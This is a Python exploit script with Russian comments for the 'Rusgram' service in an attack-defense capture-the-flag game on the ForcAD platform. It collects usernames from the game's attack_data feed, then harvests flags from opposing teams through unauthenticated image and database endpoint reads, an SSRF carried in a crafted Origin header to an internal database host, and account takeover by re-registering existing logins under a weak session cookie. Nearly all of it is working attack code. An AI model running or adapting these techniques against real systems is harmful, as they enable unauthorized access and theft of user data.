#!/usr/bin/env python3 """ Rusgram — targeted steal по ForcAD attack_data + всегда-активный сбор флагов из комментариев к картинкам (:38002/images/N, без auth — как в перехвате). Флаги живут в comments картинок и в полях msg / first_name / email жертвы. Не дублирует rusgram_sploit.py (энумерация+RCE) и rusgram_ssti_flagrake.py (grep по ФС): здесь нет слепого ls/grep — только имена из ленты. ./start_sploit.py rusgram_attack_data.py python3 rusgram_attack_data.py [PORT] """ import json import os import random import re import string import sys import requests FLAG_RX = re.compile(r"[A-Z0-9]{31}=") IP_RX = re.compile(r"^\d{1,3}(?:\.\d{1,3}){3}$") TIMEOUT = 4 PROXY_PORT = 38000 DB_PORT = 38002 CONTENT_PORT = 38004 ATTACK_DATA_URL = os.environ.get( "ATTACK_DATA_URL", "http://10.10.10.253:80/api/client/attack_data") SERVICE_HINTS = ("rusgram", "gram", "instagram") USER_KEYS = ("username", "login", "user", "name", "login_name", "public") FIELDS = ("msg", "first_name", "second_name", "email") MAX_USERS = 40 def _rnd(n=10): return "".join(random.choices(string.ascii_lowercase, k=n)) def _log(msg): print(f"[*] {msg}", file=sys.stderr, flush=True) def _looks_username(s): if not isinstance(s, str): return False s = s.strip() if not s or len(s) > 64 or len(s) < 1: return False if FLAG_RX.fullmatch(s) or IP_RX.fullmatch(s): return False if s.startswith("http://") or s.startswith("https://"): return False if any(c in s for c in " \t\r\n/\\"): return False return True def _harvest(node, out): if node is None: return if isinstance(node, str): raw = node.strip() if raw.startswith("{") or raw.startswith("["): try: _harvest(json.loads(raw), out) return except ValueError: pass if _looks_username(raw): out.append(raw) return if isinstance(node, (int, float, bool)): return if isinstance(node, list): for x in node: _harvest(x, out) return if isinstance(node, dict): for k, v in node.items(): lk = str(k).lower() if lk in USER_KEYS and isinstance(v, str) and _looks_username(v): out.append(v.strip()) else: _harvest(v, out) def get_attack_data(target_ip): """ForcAD: {service: {ip|team_id: [hints...]}} — берём хинты своей цели.""" try: r = requests.get(ATTACK_DATA_URL, timeout=3) r.raise_for_status() data = r.json() except (requests.RequestException, ValueError) as e: _log(f"attack_data: {e}") return [] if not isinstance(data, dict): return [] team_id = target_ip.rsplit(".", 1)[-1] scoped = [] def scope(node): if not isinstance(node, dict): return for key, val in node.items(): k = str(key) if k == target_ip or k == team_id: scoped.append(val) elif any(h in k.lower() for h in SERVICE_HINTS): if isinstance(val, dict): scope(val) else: scoped.append(val) scope(data) if not scoped: scoped.append(data.get(target_ip) or data.get(team_id) or []) users = [] for node in scoped: _harvest(node, users) # newest last in ForcAD → бьём свежие флаги первыми seen, ordered = set(), [] for u in reversed(users): if u not in seen: seen.add(u) ordered.append(u) ordered = ordered[:MAX_USERS] _log(f"attack_data: {len(ordered)} users for {target_ip}") return ordered def _pull_flags(text, flags): if not text: return flags |= set(FLAG_RX.findall(text)) def steal_images(ip, flags): """Главный рабочий вектор (см. перехват): флаги в comments картинок. Не нужны ни имена, ни attack_data — просто читаем :38002/images/1..16.""" d = f"http://{ip}:{DB_PORT}" before = len(flags) for i in range(1, 17): try: r = requests.get(f"{d}/images/{i}", timeout=TIMEOUT) _pull_flags(r.text, flags) except requests.RequestException: break # тот же ресурс через content-ноду, если 38002 прикрыт, а 38004 нет c = f"http://{ip}:{CONTENT_PORT}" for i in range(1, 17): try: r = requests.get(f"{c}/images/{i}", timeout=TIMEOUT) _pull_flags(r.text, flags) except requests.RequestException: break if len(flags) > before: _log(f"images : +{len(flags) - before}") def steal_db(ip, users, flags): d = f"http://{ip}:{DB_PORT}" before = len(flags) for u in users: for field in FIELDS: try: r = requests.get(f"{d}/users/{u}/{field}", timeout=TIMEOUT) _pull_flags(r.text, flags) except requests.RequestException: return if len(flags) > before: _log(f"db : +{len(flags) - before}") def steal_content(ip, users, flags): c = f"http://{ip}:{CONTENT_PORT}" before = len(flags) for u in users: try: r = requests.get(f"{c}/db/users/{u}", timeout=TIMEOUT) _pull_flags(r.text, flags) except requests.RequestException: return if len(flags) > before: _log(f"content : +{len(flags) - before}") def steal_ssrf(base, users, flags): actor, pwd = _rnd(), _rnd() try: requests.post(f"{base}/api/register", json={"login": actor, "password": pwd}, timeout=TIMEOUT) except requests.RequestException: return before = len(flags) for u in users: for field in FIELDS: try: r = requests.post( f"{base}/api/send_msg", json={"msg": "x"}, cookies={"session": f"{actor}||WRONGPASS"}, headers={"Origin": f"http://database:5002/users/{u}/{field}?x="}, timeout=TIMEOUT) _pull_flags(r.text, flags) except requests.RequestException: return if len(flags) > before: _log(f"ssrf : +{len(flags) - before}") def steal_ato(base, users, flags): before = len(flags) for u in users: pwd = _rnd() try: r = requests.post(f"{base}/api/register", json={"login": u, "password": pwd}, timeout=TIMEOUT) if r.status_code != 200: continue r = requests.get(f"{base}/", cookies={"session": f"{u}||{pwd}"}, timeout=TIMEOUT) _pull_flags(r.text, flags) except requests.RequestException: continue if len(flags) > before: _log(f"ato : +{len(flags) - before}") def exploit(target_ip, port=None): proxy_port = int(port) if port else PROXY_PORT base = f"http://{target_ip}:{proxy_port}" flags = set() # 1) always-on: флаги в комментах картинок, attack_data не нужен steal_images(target_ip, flags) # 2) targeted: если attack_data доступен — добираем поля юзеров users = get_attack_data(target_ip) if users: steal_db(target_ip, users, flags) steal_content(target_ip, users, flags) steal_ssrf(base, users, flags) steal_ato(base, users, flags) return flags def start_sploit(ip, port=None): return exploit(ip, port) def sploit(ip, port=None): return exploit(ip, port) def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} [port]", file=sys.stderr, flush=True) sys.exit(1) target_ip = sys.argv[1] port = sys.argv[2] if len(sys.argv) > 2 else None try: for flag in exploit(target_ip, port) or []: clean = str(flag).strip() if FLAG_RX.fullmatch(clean): print(clean, flush=True) except Exception as e: print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) if __name__ == "__main__": main()